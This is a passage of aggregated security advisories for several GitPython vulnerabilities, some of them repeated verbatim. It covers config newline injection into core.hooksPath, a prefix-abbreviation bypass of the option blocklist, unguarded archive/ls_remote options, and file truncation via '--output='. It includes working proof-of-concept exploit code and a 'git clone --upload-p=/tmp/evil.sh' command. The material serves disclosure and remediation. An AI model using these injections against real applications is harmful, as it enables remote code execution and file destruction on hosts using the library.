os.makedirs("/tmp/hooks", exist_ok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755) repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=... ``` Tested on GitPython 3.1.46, git 2.39+. Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically. Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through: ```python import re if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL") ``` Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that. Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67) - [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v87r-6q3f-2j67) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) / [GHSA-v87r-6q3f-2j67](https://github.com/advisories/GHSA-v87r-6q3f-2j67) / PYSEC-2026-2163 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2163) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath [CVE-2026-67326](https://nvd.nist.gov/vuln/detail/CVE-2026-67326) / [GHSA-mv93-w799-cj2w](https://github.com/advisories/GHSA-mv93-w799-cj2w) / PYSEC-2026-3980 <details> <summary>More information</summary> #### Details Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable. #### Severity - CVSS Score: 7.0 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w) - [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-mv93-w799-cj2w) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-67326](https://nvd.nist.gov/vuln/detail/CVE-2026-67326) / [GHSA-mv93-w799-cj2w](https://github.com/advisories/GHSA-mv93-w799-cj2w) / PYSEC-2026-3980 <details> <summary>More information</summary> #### Details GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section](https://www.vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3980) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist [CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) / [GHSA-2f96-g7mh-g2hx](https://github.com/advisories/GHSA-2f96-g7mh-g2hx) / PYSEC-2026-3836 <details> <summary>More information</summary> #### Details ##### Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ##### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ##### The asymmetry (root cause) ```python ##### git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ##### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ##### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ##### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") ##### fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) ##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ##### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical. ##### Suggested remediation (any one) 1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`). 2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation. 3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist. Remediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) - [https://github.com/gitpython-developers/GitPython/pull/2161](https://github.com/gitpython-developers/GitPython/pull/2161) - [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2f96-g7mh-g2hx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()` [CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) / [GHSA-956x-8gvw-wg5v](https://github.com/advisories/GHSA-956x-8gvw-wg5v) / PYSEC-2026-3839 <details> <summary>More information</summary> #### Details ##### Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ##### Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ##### PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` #### Severity - CVSS Score: 8.4 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) - [https://github.com/gitpython-developers/GitPython/pull/2163](https://github.com/gitpython-developers/GitPython/pull/2163) - [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-956x-8gvw-wg5v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist [CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) / [GHSA-2f96-g7mh-g2hx](https://github.com/advisories/GHSA-2f96-g7mh-g2hx) / PYSEC-2026-3836 <details> <summary>More information</summary> #### Details ##### Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ##### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ##### The asymmetry (root cause) ```python ##### git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ##### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ##### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ##### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") ##### fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) ##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ##### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical. ##### Suggested remediation (any one) 1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`). 2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation. 3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist. Remediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) - [https://github.com/gitpython-developers/GitPython/pull/2161](https://github.com/gitpython-developers/GitPython/pull/2161) - [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-2f96-g7mh-g2hx](https://github.com/advisories/GHSA-2f96-g7mh-g2hx) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3836) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()` [CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) / [GHSA-956x-8gvw-wg5v](https://github.com/advisories/GHSA-956x-8gvw-wg5v) / PYSEC-2026-3839 <details> <summary>More information</summary> #### Details ##### Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ##### Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ##### PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` #### Severity - CVSS Score: 8.4 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) - [https://github.com/gitpython-developers/GitPython/pull/2163](https://github.com/gitpython-developers/GitPython/pull/2163) - [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-956x-8gvw-wg5v](https://github.com/advisories/GHSA-956x-8gvw-wg5v) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3839) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL [CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) / [GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) / PYSEC-2026-3842 <details> <summary>More information</summary> #### Details ##### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as 